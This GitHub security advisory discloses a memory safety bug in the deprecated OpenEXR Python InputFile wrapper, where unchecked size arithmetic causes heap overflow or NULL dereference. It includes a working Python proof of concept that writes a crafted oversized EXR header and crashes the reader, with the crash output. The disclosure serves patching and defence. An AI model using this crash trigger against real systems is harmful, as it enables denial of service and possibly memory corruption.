GHSA-vh63-9mqx-wmjr

### Summary

A memory safety bug in the legacy OpenEXR Python adapter (the deprecated OpenEXR.InputFile wrapper) allow crashes and likely code execution when opening attacker-controlled EXR files or when passing crafted Python objects.

Integer overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit).

This bug was found with [ZeroPath](https://zeropath.com/?utm_source=joshua.hu).

### Details

Integer overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit), around [here](https://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXR_old.cpp#L528-L536).

- In `channel()`:

- Width and height are derived from the header dataWindow using `int`.

- `typeSize` is a `size_t`. The buffer size is computed as `typeSize * width * height` with no bounds checks.

- The result is passed to `PyString_FromStringAndSize(NULL, size)` which maps to `PyBytes_FromStringAndSize`. That function expects `Py_ssize_t`. If the product overflows or exceeds `PY_SSIZE_T_MAX`, allocation fails or the value wraps.

- The return value is not checked. The code immediately calls `PyString_AsString(r)` and proceeds to build a `FrameBuffer` and calls `readPixels(miny, maxy)`.

- On 64 bit: `PyBytes_FromStringAndSize` returns NULL, the wrapper dereferences NULL and crashes.\ On 32 bit: the multiplication can wrap to a small positive size, producing a too-small allocation, after which `readPixels` writes `typeSize * width` bytes per scanline for `height` lines into that buffer, causing a heap overflow.

- In `channels()` the same pattern appears for each requested channel. It also ignores per-channel subsampling when computing the allocation and when inserting the `Slice` it hardcodes `xSampling=1, ySampling=1`. If a file actually has subsampled channels this makes the stride and allocation inconsistent, which can also lead to over or under writes.

### PoC

```python # write_big_header_then_crash.py import OpenEXR, Imath

# OpenEXR sanity clamp for header coords is about INT_MAX/2 - 1 INT_MAX = (1 << 31) - 1 MAX_COORD = (INT_MAX // 2) - 1 # 1073741822

# Choose a scanline width that keeps row-bytes < 2^31 # 400,000,000 * 4 bytes = ~1.6 GB per scanline, which many codecs accept WIDTH = min(400_000_000, MAX_COORD + 1) # pixels HEIGHT = 64 # small height keeps the file tiny

# Build windows from pixel counts dw = Imath.Box2i(Imath.V2i(0, 0), Imath.V2i(WIDTH - 1, HEIGHT - 1))

# Robustly set NO_COMPRESSION across enum naming differences def no_compression(): # Try common names, else fallback to numeric 0 C = Imath.Compression for name in ("NO_COMPRESSION", "NONE", "NO_COMPRESSION_ENUM"): if hasattr(C, name): return Imath.Compression(getattr(C, name)) return Imath.Compression(0)

hdr = { "dataWindow": dw, "displayWindow": dw, "channels": {"R": Imath.Channel(Imath.PixelType(Imath.PixelType.FLOAT))}, "compression": no_compression(), "lineOrder": Imath.LineOrder(Imath.LineOrder.INCREASING_Y), }

# Write just the header (no pixels) out = OpenEXR.OutputFile("big_header.exr", hdr) out.close()

# Now trigger the legacy bug: huge allocation request returns NULL, code fails to check f = OpenEXR.InputFile("big_header.exr") print("Triggering crash...") f.channels(["R"]) ```

``` $ python3 poc.py Triggering crash... libc++abi: terminating due to uncaught exception of type Iex_3_4::InputExc: Unable to query scanline information Abort trap: 6 python3 poc.py ```

### Impact Typical memory stuff.